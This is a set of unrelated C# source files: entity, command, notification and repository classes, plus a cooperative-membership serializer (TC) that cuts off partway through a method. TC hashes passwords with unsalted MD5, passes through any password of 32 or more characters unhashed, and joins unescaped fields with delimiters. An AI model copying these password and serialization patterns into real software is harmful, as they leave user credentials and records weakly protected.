using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using Podemski.Musicorum.Interfaces.Entities; namespace Podemski.Musicorum.Dao.Entities { public sealed class Track : ITrack { private IAlbum _album; [Key] [DatabaseGenerated(DatabaseGeneratedOption.Identity)] public int Id { get; set; } [Column] public int AlbumId { get; set; } [NotMapped] public IAlbum Album { get => _album; set { _album = value; AlbumId = _album?.Id ?? 0; } } public string Title { get; set; } public string Description { get; set; } public override string ToString() => Id.ToString(); //public override string ToString() => $"{Album.Artist.Name} - {Album.Title} - {Title}"; } }
using MediatR; using AspNetCoreGettingStarted.Data; using AspNetCoreGettingStarted.Model; using AspNetCoreGettingStarted.Features.Core; using System; using System.Collections.Generic; using System.Threading.Tasks; using System.Linq; using Microsoft.EntityFrameworkCore; using System.Threading; namespace AspNetCoreGettingStarted.Features.Dashboards { public class RemoveDashboardCommand { public class Request : BaseAuthenticatedRequest, IRequest<Response> { public int DashboardId { get; set; } } public class Response { } public class Handler : IRequestHandler<Request, Response> { public Handler(IAspNetCoreGettingStartedContext context) { _context = context; } public async Task<Response> Handle(Request request, CancellationToken cancellationToken) { var dashboard = await _context.Dashboards .Include(x => x.Tenant) .SingleAsync(x=>x.DashboardId == request.DashboardId && x.Tenant.TenantId == request.TenantId); _context.Dashboards.Remove(dashboard); await _context.SaveChangesAsync(cancellationToken); return new Response(); } private readonly IAspNetCoreGettingStartedContext _context; } } }
using System; using System.Linq; using System.Threading.Tasks; using Compent.Extensions; using Uintra.Core.Activity; using Uintra.Core.Member.Entities; using Uintra.Core.Member.Services; using Uintra.Features.Notification.Configuration; using Uintra.Features.Notification.Entities.Base; using Uintra.Features.Notification.Models; using Uintra.Features.Notification.Models.NotifierTemplates; namespace Uintra.Features.Notification.Services { public class UiNotifierService : INotifierService { private readonly INotificationModelMapper<UiNotifierTemplate, UiNotificationMessage> _notificationModelMapper; private readonly INotificationModelMapper<DesktopNotifierTemplate, DesktopNotificationMessage> _desktopNotificationModelMapper; private readonly INotificationSettingsService _notificationSettingsService; private readonly IIntranetMemberService<IntranetMember> _intranetMemberService; private readonly IUiNotificationService _notificationsService; public Enum Type => NotifierTypeEnum.UiNotifier; public UiNotifierService( INotificationModelMapper<UiNotifierTemplate, UiNotificationMessage> notificationModelMapper, INotificationModelMapper<DesktopNotifierTemplate, DesktopNotificationMessage> desktopNotificationModelMapper, INotificationSettingsService notificationSettingsService, IIntranetMemberService<IntranetMember> intranetMemberService, IUiNotificationService notificationsService) { _notificationModelMapper = notificationModelMapper; _notificationSettingsService = notificationSettingsService; _intranetMemberService = intranetMemberService; _notificationsService = notificationsService; _desktopNotificationModelMapper = desktopNotificationModelMapper; } public void Notify(NotifierData data) { var isCommunicationSettings = data.NotificationType.In( NotificationTypeEnum.CommentLikeAdded, NotificationTypeEnum.MonthlyMail, IntranetActivityTypeEnum.ContentPage); var identity = new ActivityEventIdentity(isCommunicationSettings ? CommunicationTypeEnum.CommunicationSettings : data.ActivityType, data.NotificationType) .AddNotifierIdentity(Type); var settings = _notificationSettingsService.Get<UiNotifierTemplate>(identity); var desktopSettingsIdentity = new ActivityEventIdentity(settings.ActivityType, settings.NotificationType) .AddNotifierIdentity(NotifierTypeEnum.DesktopNotifier); var desktopSettings = _notificationSettingsService.Get<DesktopNotifierTemplate>(desktopSettingsIdentity); if (!settings.IsEnabled && !desktopSettings.IsEnabled) return; var receivers = _intranetMemberService.GetMany(data.ReceiverIds).ToList(); var messages = receivers.Select(receiver => { var uiMsg = _notificationModelMapper.Map(data.Value, settings.Template, receiver); if (desktopSettings.IsEnabled) { var desktopMsg = _desktopNotificationModelMapper.Map(data.Value, desktopSettings.Template, receiver); uiMsg.DesktopTitle = desktopMsg.Title; uiMsg.DesktopMessage = desktopMsg.Message; uiMsg.IsDesktopNotificationEnabled = true; if (uiMsg.NotifierId.HasValue) { uiMsg.NotifierPhotoUrl = _intranetMemberService.Get(uiMsg.NotifierId.Value)?.Photo; } } return uiMsg; }); _notificationsService.Notify(messages); } public async Task NotifyAsync(NotifierData data) { var isCommunicationSettings = data.NotificationType.In( NotificationTypeEnum.CommentLikeAdded, NotificationTypeEnum.MonthlyMail, IntranetActivityTypeEnum.ContentPage); var identity = new ActivityEventIdentity(isCommunicationSettings ? CommunicationTypeEnum.CommunicationSettings : data.ActivityType, data.NotificationType) .AddNotifierIdentity(Type); var settings = await _notificationSettingsService.GetAsync<UiNotifierTemplate>(identity); var desktopSettingsIdentity = new ActivityEventIdentity(settings.ActivityType, settings.NotificationType) .AddNotifierIdentity(NotifierTypeEnum.DesktopNotifier); var desktopSettings = await _notificationSettingsService.GetAsync<DesktopNotifierTemplate>(desktopSettingsIdentity); if (!settings.IsEnabled && !desktopSettings.IsEnabled) return; var receivers = (await _intranetMemberService.GetManyAsync(data.ReceiverIds)); var messages = receivers.Select(receiver => { var uiMsg = _notificationModelMapper.Map(data.Value, settings.Template, receiver); if (desktopSettings.IsEnabled) { var desktopMsg = _desktopNotificationModelMapper.Map(data.Value, desktopSettings.Template, receiver); uiMsg.DesktopTitle = desktopMsg.Title; uiMsg.DesktopMessage = desktopMsg.Message; uiMsg.IsDesktopNotificationEnabled = true; } return uiMsg; }); await _notificationsService.NotifyAsync(messages); } } }
using Backend.Model; using System; using System.Collections.Generic; using System.Linq; using UserService.CustomException; using UserService.Model; namespace UserService.Repository { public class DoctorRepository : IDoctorRepository { private readonly MyDbContext _context; public DoctorRepository(MyDbContext context) { _context = context; } public IEnumerable<DoctorAccount> GetBySpecialty(int specialtyId) { try { return _context.Doctors.Where( d => d.DoctorSpecialties.Any(s => s.SpecialtyId == specialtyId)).Select( d => d.ToDoctorAccount()); } catch (Exception e) { throw new DataStorageException(e.Message); } } public IEnumerable<DoctorAccount> GetAll() { try { return _context.Doctors.Select(d => d.ToDoctorAccount()); } catch (Exception e) { throw new DataStorageException(e.Message); } } } }
using System; using System.Net; using System.Windows; using System.Windows.Controls; using System.Windows.Documents; using System.Windows.Ink; using System.Windows.Input; using System.Windows.Media; using System.Text; using System.Windows.Media.Animation; using System.Windows.Shapes; using System.Collections.Generic; using ProyectoSCA_Navigation.Clases; using ProyectoSCA_Navigation.Clases.Clases_Para_los_Grids; namespace ProyectoSCA_Navigation.Clases { /******************************************************************************************************************************** *****************************************************************dAnY************************************************************ *********************************************************************************************************************************/ public class TC { String m_Enviar; /********************************************************************************************************************************* *****************************************************************INSERTS********************************************************* *********************************************************************************************************************************/ //Insertar una nuevo limite aportacion voluntaria public String InsertarLimite(String limite, String correo) { if (limite.Equals("") || correo.Equals("")) return null; m_Enviar = limite + "&" + correo; return m_Enviar; } //Insertar una nuevo monto aportacion obligatoria public String InsertarMonto(String monto, String correo) { if (monto.Equals("") || correo.Equals("")) return null; m_Enviar = monto + "&" + correo; return m_Enviar; } //Insertar una nuevo motivo public String InsertarMotivo(String motivo, String correo) { if (motivo.Equals("") || correo.Equals("")) return null; string m_Enviar = motivo + "&" + correo; return m_Enviar; } //Insertar una nueva ocupacion public String InsertarOcupacion(String ocupacion, String correo) { if (ocupacion.Equals("") || correo.Equals("")) return null; string m_Enviar = ocupacion + "&" + correo; return m_Enviar; } //Insertar un nuevo interes public String InsertarInteres(Interes intereses, String correo) { if (intereses == null || correo.Equals("")) return null; char del1 = ','; /* *En la variable m_Enviar se guarda el string que se enviara al WS y lo que se recibe es una referencia hacia la clase interes, el formato es el siguiente: *nombre(string), tasa(Int64), aplica obligatoria(boolean), aplica voluntaria(boolean), aplica obligatoria especial(boolean), *aplica voluntaria arriba(boolean), monto voluntaria(Int64) */ m_Enviar = intereses.Nombre + del1 + intereses.Tasa + del1 + intereses.Aplica_obligatoria + del1 + intereses.Aplica_voluntaria + del1 + intereses.Aplica_obligatoria_especial + del1 + intereses.Aplica_voluntaria_arriba + del1 + intereses.Monto_voluntaria + "&" + correo; return m_Enviar; } //Insertar una nueva parentesco public String InsertarParentesco(String parentesco, String correo) { if (parentesco.Equals("") || correo.Equals("")) return null; string m_Enviar = parentesco + "&" + correo; return m_Enviar; } //Insertar un nueva aportacion obligatoria especial public String InsertarAportacionObligatoriaEspecial(aportacionObligatoriaEspecial aportacion, String correo) { if (aportacion == null || correo.Equals("")) return null; char del1 = ','; /* *En la variable m_Enviar se guarda el string que se enviara al WS y lo que se recibe es una referencia hacia la clase aportacion obligatoria especial *y el formato es el siguiente: *Monto(int), fecha realizacion, motivo(string), descripcion(string) & correo */ String[] fecha = this.convertirFechaBD(aportacion.FechaRealizacion).Split('-'); m_Enviar = aportacion.Monto + "," + fecha[0] + del1 + fecha[1] + del1 + aportacion.Motivo + del1 + aportacion.Descripcion + "&" + correo; return m_Enviar; } //Insertar un nuevo afiliado public String InsertarAfiliado(Afiliado afiliado, String correo) { if (afiliado == null || correo.Equals("")) return null; MD5 md5 = new MD5(); char del1 = ',', del2 = ';'; /* *En la variable m_Enviar se guarda el string que se enviara al WS y lo que se recibe es una referencia hacia la clase afiliado *el formato es el siguiente: datos personales, datos laborales y beneficiarios */ /* * DATOS PERSONALES: * identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), * fecha nacimiento(string), estado civil(string), genero(string),direccion(string); */ m_Enviar = afiliado.identidad + del1 + afiliado.primerNombre + del1 + afiliado.segundoNombre + del1 + afiliado.primerApellido + del1 + afiliado.segundoApellido + del1 + this.convertirFechaBD(afiliado.fechaNacimiento) + del1 + afiliado.estadoCivil + del1 + afiliado.genero + del1 + afiliado.direccion + del2; /* * DATOS PERSONALES: * telefono personal(string); * aqui son varios asi que por eso aparte */ for (int i = 0; i < afiliado.telefonoPersonal.Count; i++) { if (i < afiliado.telefonoPersonal.Count - 1) m_Enviar += afiliado.telefonoPersonal[i] + del1; else if (i < afiliado.telefonoPersonal.Count) m_Enviar += afiliado.telefonoPersonal[i]; } m_Enviar += del2; /* * DATOS PERSONALES: * telefono celular(string); * aqui son varios asi que por eso aparte */ for (int i = 0; i < afiliado.celular.Count; i++) { if (i < afiliado.celular.Count - 1) m_Enviar += afiliado.celular[i] + del1; else if (i < afiliado.celular.Count) m_Enviar += afiliado.celular[i]; } /* * DATOS LABORALES: * correo electronico(string), password(string 32 caracter), nombre empresa(string), telefono empresa(string), direccion empresa(string), * fecha ingreso cooperativa(string), depto empresa(string), lugar nacimiento(string), ocupacion(stirng); */ md5.Value = afiliado.Password; m_Enviar += del2 + afiliado.CorreoElectronico + del1 + md5.FingerPrint + del2 + afiliado.NombreEmpresa + del1 + afiliado.TelefonoEmpresa + del1 + afiliado.DireccionEmpresa + del1 + this.convertirFechaBD(afiliado.fechaIngresoCooperativa) + del1 + afiliado.DepartamentoEmpresa + del1 + afiliado.lugarDeNacimiento + del2 + afiliado.Ocupacion + del2; /* * DATOS BENEFICIARIO DE CONTINGENCIA: * No. Identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), fecha_nac(string), estado_Civil(string), genero(string), * direccion(string), parentesco(string); */ m_Enviar += afiliado.BeneficiarioCont.identidad + del1 + afiliado.BeneficiarioCont.primerNombre + del1 + afiliado.BeneficiarioCont.segundoNombre + del1 + afiliado.BeneficiarioCont.primerApellido + del1 + afiliado.BeneficiarioCont.segundoApellido + del1 + this.convertirFechaBD(afiliado.BeneficiarioCont.fechaNacimiento) + del1 + afiliado.BeneficiarioCont.estadoCivil + del1 + afiliado.BeneficiarioCont.genero + del1 + afiliado.BeneficiarioCont.direccion + del1 + afiliado.BeneficiarioCont.Parentesco; m_Enviar += del2; /* * DATOS BENEFICIARIOS NORMALES: * No. Identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), fecha_nac(string), estado_Civil(string), genero(string), * direccion(string), parentesco(string), porcentaje seguros(Int64), porcentaje aportacion(Int64) */ for (int i = 0; i < afiliado.bensNormales.Count; i++) { BeneficiarioNormal item = afiliado.bensNormales[i]; if (i < afiliado.celular.Count - 1) { m_Enviar += item.identidad + del1 + item.primerNombre + del1 + item.segundoNombre + del1 + item.primerApellido + del1 + item.segundoApellido + del1 + this.convertirFechaBD(item.fechaNacimiento) + del1 + item.estadoCivil + del1 + item.genero + del1 + item.direccion + del1 + item.Parentesco + del1 + item.porcentajeSeguros + del1 + item.porcentajeAportaciones; m_Enviar += del2; } else if (i < afiliado.celular.Count) { m_Enviar += item.identidad + del1 + item.primerNombre + del1 + item.segundoNombre + del1 + item.primerApellido + del1 + item.segundoApellido + del1 + this.convertirFechaBD(item.fechaNacimiento) + del1 + item.estadoCivil + del1 + item.genero + del1 + item.direccion + del1 + item.Parentesco + del1 + item.porcentajeSeguros + del1 + item.porcentajeAportaciones; } } m_Enviar += "&" + correo; return m_Enviar; } //Insertar un nuevo empleado public String InsertarEmpleado(Empleado empleado, String correo, Boolean administrador) { if (empleado == null || correo.Equals("")) return null; MD5 md5 = new MD5(); char del1 = ',', del2 = ';'; /* *En la variable m_Enviar se guarda el string que se enviara al WS y lo que se recibe es una referencia hacia la clase afiliado *el formato es el siguiente: datos personales, datos laborales y beneficiarios */ /* * DATOS PERSONALES: * identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), * fecha nacimiento(string), estado civil(string), genero(string),direccion(string); */ m_Enviar = empleado.identidad + del1 + empleado.primerNombre + del1 + empleado.segundoNombre + del1 + empleado.primerApellido + del1 + empleado.segundoApellido + del1 + this.convertirFechaBD(empleado.fechaNacimiento) + del1 + empleado.estadoCivil + del1 + empleado.genero + del1 + empleado.direccion + del2; /* * DATOS PERSONALES: * telefono personal(string); * aqui son varios asi que por eso aparte */ for (int i = 0; i < empleado.telefonoPersonal.Count; i++) { if (i < empleado.telefonoPersonal.Count - 1) m_Enviar += empleado.telefonoPersonal[i] + del1; else if (i < empleado.telefonoPersonal.Count) m_Enviar += empleado.telefonoPersonal[i]; } m_Enviar += del2; /* * DATOS PERSONALES: * telefono celular(string); * aqui son varios asi que por eso aparte */ for (int i = 0; i < empleado.celular.Count; i++) { if (i < empleado.celular.Count - 1) m_Enviar += empleado.celular[i] + del1; else if (i < empleado.celular.Count) m_Enviar += empleado.celular[i]; } /* * DATOS LABORALES: * correo electronico(string), password(string), puesto(string) */ md5.Value = empleado.Password; m_Enviar += del2 + empleado.correoElectronico + del1 + md5.FingerPrint + del1 + empleado.Puesto + "&" + correo + "&" + administrador.ToString(); return m_Enviar; } /********************************************************************************************************************************* *********************************************************FIN*****INSERTS********************************************************* *********************************************************************************************************************************/ /********************************************************************************************************************************* *****************************************************************DESHABILITAR**************************************************** *********************************************************************************************************************************/ //Deshabilitar una motivo public String DeshabilitarMotivo(String motivo, String correo) { if (motivo.Equals("") || correo.Equals("")) return null; string m_Enviar = motivo + "&" + correo; return m_Enviar; } //Deshabilitar una ocupacion public String DeshabilitarOcupacion(String ocupacion, String correo) { if (ocupacion.Equals("") || correo.Equals("")) return null; string m_Enviar = ocupacion + "&" + correo; return m_Enviar; } //Deshabilitar un interes public String DeshabilitarInteres(String nombreInteres, String correo) { if (nombreInteres.Equals("") || correo.Equals("")) return null; m_Enviar = nombreInteres + "&" + correo; return m_Enviar; } //Deshabilitar una parentesco public String DeshabilitarParentesco(String parentesco, String correo) { if (parentesco.Equals("") || correo.Equals("")) return null; string m_Enviar = parentesco + "&" + correo; return m_Enviar; } /********************************************************************************************************************************* ************************************************************FIN**DESHABILITAR**************************************************** *********************************************************************************************************************************/ /********************************************************************************************************************************* ***********************************************************MODIFICAR************************************************************* *********************************************************************************************************************************/ //Solicitud de modificar un afiliado public String SolicitudModificarAfiliado(Afiliado afiliado, String correo, String NoIdentidadViejo) { if (afiliado == null || correo.Equals("")) return null; MD5 md5 = new MD5(); char del1 = ',', del2 = ';'; /* *En la variable m_Enviar se guarda el string que se enviara al WS y lo que se recibe es una referencia hacia la clase afiliado *el formato es el siguiente: datos personales, datos laborales y beneficiarios */ /* * DATOS PERSONALES: * identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), * fecha nacimiento(string), estado civil(string), genero(string),direccion(string); */ m_Enviar = afiliado.identidad + del1 + afiliado.primerNombre + del1 + afiliado.segundoNombre + del1 + afiliado.primerApellido + del1 + afiliado.segundoApellido + del1 + this.convertirFechaBD(afiliado.fechaNacimiento) + del1 + afiliado.estadoCivil + del1 + afiliado.genero + del1 + afiliado.direccion + del2; /* * DATOS PERSONALES: * telefono personal(string); * aqui son varios asi que por eso aparte */ for (int i = 0; i < afiliado.telefonoPersonal.Count; i++) { if (i < afiliado.telefonoPersonal.Count - 1) m_Enviar += afiliado.telefonoPersonal[i] + del1; else if (i < afiliado.telefonoPersonal.Count) m_Enviar += afiliado.telefonoPersonal[i]; } m_Enviar += del2; /* * DATOS PERSONALES: * telefono celular(string); * aqui son varios asi que por eso aparte */ for (int i = 0; i < afiliado.celular.Count; i++) { if (i < afiliado.celular.Count - 1) m_Enviar += afiliado.celular[i] + del1; else if (i < afiliado.celular.Count) m_Enviar += afiliado.celular[i]; } /* * DATOS LABORALES: * correo electronico(string), password(string 32 caracter), nombre empresa(string), telefono empresa(string), direccion empresa(string), * fecha ingreso cooperativa(string), depto empresa(string), lugar nacimiento(string), ocupacion(stirng); */ if (afiliado.Password.Length < 32) { md5.Value = afiliado.Password; m_Enviar += del2 + afiliado.CorreoElectronico + del1 + md5.FingerPrint + del2 + afiliado.NombreEmpresa + del1 + afiliado.TelefonoEmpresa + del1 + afiliado.DireccionEmpresa + del1 + this.convertirFechaBD(afiliado.fechaIngresoCooperativa) + del1 + afiliado.DepartamentoEmpresa + del1 + afiliado.lugarDeNacimiento + del2 + afiliado.Ocupacion + del2; } else m_Enviar += del2 + afiliado.CorreoElectronico + del1 + afiliado.Password + del2 + afiliado.NombreEmpresa + del1 + afiliado.TelefonoEmpresa + del1 + afiliado.DireccionEmpresa + del1 + this.convertirFechaBD(afiliado.fechaIngresoCooperativa) + del1 + afiliado.DepartamentoEmpresa + del1 + afiliado.lugarDeNacimiento + del2 + afiliado.Ocupacion + del2; /* * DATOS BENEFICIARIO DE CONTINGENCIA: * No. Identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), fecha_nac(string), estado_Civil(string), genero(string), * direccion(string), parentesco(string); */ m_Enviar += afiliado.BeneficiarioCont.identidad + del1 + afiliado.BeneficiarioCont.primerNombre + del1 + afiliado.BeneficiarioCont.segundoNombre + del1 + afiliado.BeneficiarioCont.primerApellido + del1 + afiliado.BeneficiarioCont.segundoApellido + del1 + this.convertirFechaBD(afiliado.BeneficiarioCont.fechaNacimiento) + del1 + afiliado.BeneficiarioCont.estadoCivil + del1 + afiliado.BeneficiarioCont.genero + del1 + afiliado.BeneficiarioCont.direccion + del1 + afiliado.BeneficiarioCont.Parentesco; m_Enviar += del2; /* * DATOS BENEFICIARIOS NORMALES: * No. Identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), fecha_nac(string), estado_Civil(string), genero(string), * direccion(string), parentesco(string), porcentaje seguros(Int64), porcentaje aportacion(Int64) */ for (int i = 0; i < afiliado.bensNormales.Count; i++) { BeneficiarioNormal item = afiliado.bensNormales[i]; if (i < afiliado.celular.Count - 1) { m_Enviar += item.identidad + del1 + item.primerNombre + del1 + item.segundoNombre + del1 + item.primerApellido + del1 + item.segundoApellido + del1 + this.convertirFechaBD(item.fechaNacimiento) + del1 + item.estadoCivil + del1 + item.genero + del1 + item.direccion + del1 + item.Parentesco + del1 + item.porcentajeSeguros + del1 + item.porcentajeAportaciones; m_Enviar += del2; } else if (i < afiliado.celular.Count) { m_Enviar += item.identidad + del1 + item.primerNombre + del1 + item.segundoNombre + del1 + item.primerApellido + del1 + item.segundoApellido + del1 + this.convertirFechaBD(item.fechaNacimiento) + del1 + item.estadoCivil + del1 + item.genero + del1 + item.direccion + del1 + item.Parentesco + del1 + item.porcentajeSeguros + del1 + item.porcentajeAportaciones; } } m_Enviar += "&" + correo + "&" + NoIdentidadViejo + "~" + afiliado.EstadoAfiliado; return m_Enviar; } //solicitud de modificar un empleado public String SolicitudModificarEmpleado(Empleado empleado, String correo, String NoIdentidadViejo, Boolean Administrador) { if (empleado == null || correo.Equals("")) return null; MD5 md5 = new MD5(); char del1 = ',', del2 = ';'; /* *En la variable m_Enviar se guarda el string que se enviara al WS y lo que se recibe es una referencia hacia la clase afiliado *el formato es el siguiente: datos personales, datos laborales y beneficiarios */ /* * DATOS PERSONALES: * identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), * fecha nacimiento(string), estado civil(string), genero(string),direccion(string); */ m_Enviar = empleado.identidad + del1 + empleado.primerNombre + del1 + empleado.segundoNombre + del1 + empleado.primerApellido + del1 + empleado.segundoApellido + del1 + this.convertirFechaBD(empleado.fechaNacimiento) + del1 + empleado.estadoCivil + del1 + empleado.genero + del1 + empleado.direccion + del2; /* * DATOS PERSONALES: * telefono personal(string); * aqui son varios asi que por eso aparte */ for (int i = 0; i < empleado.telefonoPersonal.Count; i++) { if (i < empleado.telefonoPersonal.Count - 1) m_Enviar += empleado.telefonoPersonal[i] + del1; else if (i < empleado.telefonoPersonal.Count) m_Enviar += empleado.telefonoPersonal[i]; } m_Enviar += del2; /* * DATOS PERSONALES: * telefono celular(string); * aqui son varios asi que por eso aparte */ for (int i = 0; i < empleado.celular.Count; i++) { if (i < empleado.celular.Count - 1) m_Enviar += empleado.celular[i] + del1; else if (i < empleado.celular.Count) m_Enviar += empleado.celular[i]; } /* * DATOS LABORALES: * correo electronico(string), password(string 32 caracteres), puesto(string) */ if (empleado.Password.Length < 32) { md5.Value = empleado.Password; m_Enviar += del2 + empleado.correoElectronico + del1 + md5.FingerPrint + del1 + empleado.Puesto + "&" + correo + "&" + NoIdentidadViejo + "&" + Administrador.ToString(); } else m_Enviar += del2 + empleado.correoElectronico + del1 + empleado.Password + del1 + empleado.Puesto + "&" + correo + "&" + NoIdentidadViejo + "&" + Administrador.ToString(); return m_Enviar; } //Modificar el perfil de un usuario accediendo a la tabla temporal public String ModificarPerfilUsuario(String NoIdentidad) { m_Enviar = NoIdentidad; return m_Enviar; } //Modificar una motivo public String ModificarMotivo(String motivo, String motivo_v, String correo) { if (motivo.Equals("") || correo.Equals("") || motivo_v.Equals("")) return null; string m_Enviar = motivo_v + "," + motivo + "&" + correo; return m_Enviar; } //Modificar una ocupacion public String ModificarOcupacion(String ocupacion, String ocupacion_v, String correo) { if (ocupacion.Equals("") || correo.Equals("") || ocupacion_v.Equals("")) return null; string m_Enviar = ocupacion_v + "," + ocupacion + "&" + correo; return m_Enviar; } //Modificar un interes public String ModificarInteres(Interes intereses, String interes_v, String correo) { if (interes_v.Equals("") || correo.Equals("") || intereses == null) return null; char del1 = ','; m_Enviar = interes_v + "," + intereses.Nombre + del1 + intereses.Tasa + del1 + intereses.Aplica_obligatoria + del1 + intereses.Aplica_voluntaria + del1 + intereses.Aplica_obligatoria_especial + del1 + intereses.Aplica_voluntaria_arriba + del1 + intereses.Monto_voluntaria + "&" + correo; return m_Enviar; } //Modificar una parentesco public String ModificarParentesco(String parentesco, String parentesco_v, String correo) { if (parentesco.Equals("") || correo.Equals("") || parentesco_v.Equals("")) return null; string m_Enviar = parentesco_v + "," + parentesco + "&" + correo; return m_Enviar; } //Modificar todos los permisos public String ModificarPermisos(List<Boolean> admin, List<Boolean> empleado, List<Boolean> afiliado, String correo) { if (admin == null || correo.Equals("") || empleado == null || afiliado == null) return null; char del1 = ',', del2 = ';'; m_Enviar = ""; //Ingresa los permisos de administrador for (int i = 0; i < admin.Count; i++) { if (i < admin.Count - 1) m_Enviar += admin[i].ToString() + del1; else if (i < admin.Count) m_Enviar += admin[i].ToString() + del2; } //Ingresa los permisos de empleado for (int i = 0; i < empleado.Count; i++) { if (i < empleado.Count - 1) m_Enviar += empleado[i].ToString() + del1; else if (i < empleado.Count) m_Enviar += empleado[i].ToString() + del2; } //Ingresa los permisos de afiliado for (int i = 0; i < afiliado.Count; i++) { if (i < afiliado.Count - 1) m_Enviar += afiliado[i].ToString() + del1; else if (i < afiliado.Count) m_Enviar += afiliado[i].ToString() + del2; } m_Enviar += "&" + correo; return m_Enviar; } /********************************************************************************************************************************* **************************************************FIN******MODIFICAR************************************************************* *********************************************************************************************************************************/ /********************************************************************************************************************************* *****************************************************************GETS************************************************************ *********************************************************************************************************************************/ //Obtiene string de DT y lo convierte a un afiliado public Afiliado getAfiliado(String valores) { if (valores.Equals("")) return null; Afiliado afiliado = new Afiliado(); String [] tmp = valores.Split('~'); afiliado.EstadoAfiliado = tmp[1]; valores = tmp[0]; afiliado.certificadoCuenta = Convert.ToInt32(valores.Split(',')[0]); int posicion = 0; for (int i = 0; i < valores.Length; i++) { if (valores[i] == ',') { posicion = i; i = valores.Length; } } valores = valores.Substring(posicion + 1); /*obtener datos de afiliado*/ string[] datos = valores.Split(';'); /* * DATOS PERSONALES: * identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), * fecha nacimiento(string), estado civil(string), genero(string),direccion(string); */ string[] datos_personales = datos[0].Split(','); afiliado.identidad = datos_personales[0]; afiliado.primerNombre = datos_personales[1]; afiliado.segundoNombre = datos_personales[2]; afiliado.primerApellido = datos_personales[3]; afiliado.segundoApellido = datos_personales[4]; afiliado.fechaNacimiento = this.convertirFechaNormal(datos_personales[5]); afiliado.estadoCivil = datos_personales[6]; afiliado.genero = datos_personales[7]; afiliado.direccion = datos_personales[8]; /* * DATOS PERSONALES: * telefono personal(string); * aqui son varios asi que por eso aparte */ string[] telefonos = datos[1].Split(','); List<string> telefono = new List<string>(); for (int i = 0; i < telefonos.Length; i++) telefono.Add(telefonos[i]); afiliado.telefonoPersonal = telefono; /* * DATOS PERSONALES: * telefono celular(string); * aqui son varios asi que por eso aparte */ string[] celulares = datos[2].Split(','); List<string> celular = new List<string>(); for (int i = 0; i < celulares.Length; i++) celular.Add(celulares[i]); afiliado.celular = celular; /* * DATOS LABORALES: * correo electronico(string), password(string 32 caracteres), nombre empresa(string), telefono empresa(string), direccion empresa(string), * fecha ingreso cooperativa(string), depto empresa(string), lugar nacimiento(string), ocupacion(stirng); */ string[] datos_laborales = datos[4].Split(','); string[] login = datos[3].Split(','); afiliado.CorreoElectronico = login[0]; afiliado.NombreEmpresa = datos_laborales[0]; afiliado.TelefonoEmpresa = datos_laborales[1]; afiliado.DireccionEmpresa = datos_laborales[2]; afiliado.Password = login[1]; afiliado.fechaIngresoCooperativa = this.convertirFechaNormal(datos_laborales[3]); afiliado.DepartamentoEmpresa = datos_laborales[4]; afiliado.lugarDeNacimiento = datos_laborales[5]; afiliado.Ocupacion = datos[5]; /* * DATOS BENEFICIARIO DE CONTINGENCIA: * No. Identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), fecha_nac(string), estado_Civil(string), genero(string), * direccion(string), parentesco(string); */ string[] beneficiario_cont = datos[6].Split(','); afiliado.BeneficiarioCont.identidad = beneficiario_cont[0]; afiliado.BeneficiarioCont.primerNombre = beneficiario_cont[1]; afiliado.BeneficiarioCont.segundoNombre = beneficiario_cont[2]; afiliado.BeneficiarioCont.primerApellido = beneficiario_cont[3]; afiliado.BeneficiarioCont.segundoApellido = beneficiario_cont[4]; afiliado.BeneficiarioCont.fechaNacimiento = this.convertirFechaNormal(beneficiario_cont[5]); afiliado.BeneficiarioCont.estadoCivil = beneficiario_cont[6]; afiliado.BeneficiarioCont.genero = beneficiario_cont[7]; afiliado.BeneficiarioCont.direccion = beneficiario_cont[8]; afiliado.BeneficiarioCont.Parentesco = beneficiario_cont[9]; /* * DATOS BENEFICIARIOS NORMALES: * No. Identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), fecha_nac(string), estado_Civil(string), genero(string), * direccion(string), parentesco(string), porcentaje seguros(Int64), porcentaje aportacion(Int64); */ List<BeneficiarioNormal> beneficiarios = new List<BeneficiarioNormal>(); for (int i = 7; i < datos.Length; i++) { BeneficiarioNormal temp = new BeneficiarioNormal(); string[] normal = datos[i].Split(','); if (datos[i] == "") break; temp.identidad = normal[0]; temp.primerNombre = normal[1]; temp.segundoNombre = normal[2]; temp.primerApellido = normal[3]; temp.segundoApellido = normal[4]; temp.fechaNacimiento = this.convertirFechaNormal(normal[5]); temp.estadoCivil = normal[6]; temp.genero = normal[7]; temp.direccion = normal[8]; temp.Parentesco = normal[9]; temp.porcentajeSeguros = (float)Convert.ToDouble(normal[10]); temp.porcentajeAportaciones = (float)Convert.ToDouble(normal[11]); beneficiarios.Add(temp); } afiliado.bensNormales = beneficiarios; return afiliado; } //Obtiene string de DT y lo convierte a un empleado public Empleado getEmpleado(String valores) { if (valores.Equals("")) return null; Empleado empleado = new Empleado(); /*obtener datos de empleado*/ string[] datos2 = valores.Split('~'), datos = datos2[0].Split(';'); empleado.Administrador = datos2[1]; /* * DATOS PERSONALES: * identidad(string), pNombre(string), sNombre(string), pApellido(string), sApellido(string), * fecha nacimiento(string), estado civil(string), genero(string),direccion(string); */ string[] datos_personales = datos[0].Split(','); empleado.identidad = datos_personales[0]; empleado.primerNombre = datos_personales[1]; empleado.segundoNombre = datos_personales[2]; empleado.primerApellido = datos_personales[3]; empleado.segundoApellido = datos_personales[4]; empleado.fechaNacimiento = this.convertirFechaNormal(datos_personales[5]); empleado.estadoCivil = datos_personales[6]; empleado.genero = datos_personales[7]; empleado.direccion = datos_personales[8]; /* * DATOS PERSONALES: * telefono personal(string); * aqui son varios asi que por eso aparte */ string[] telefonos = datos[1].Split(','); List<string> telefono = new List<string>(); for (int i = 0; i < telefonos.Length; i++) telefono.Add(telefonos[i]); empleado.telefonoPersonal = telefono; /* * DATOS PERSONALES: * telefono celular(string); * aqui son varios asi que por eso aparte */ string[] celulares = datos[2].Split(','); List<string> celular = new List<string>(); for (int i = 0; i < celulares.Length; i++) celular.Add(celulares[i]); empleado.celular = celular; 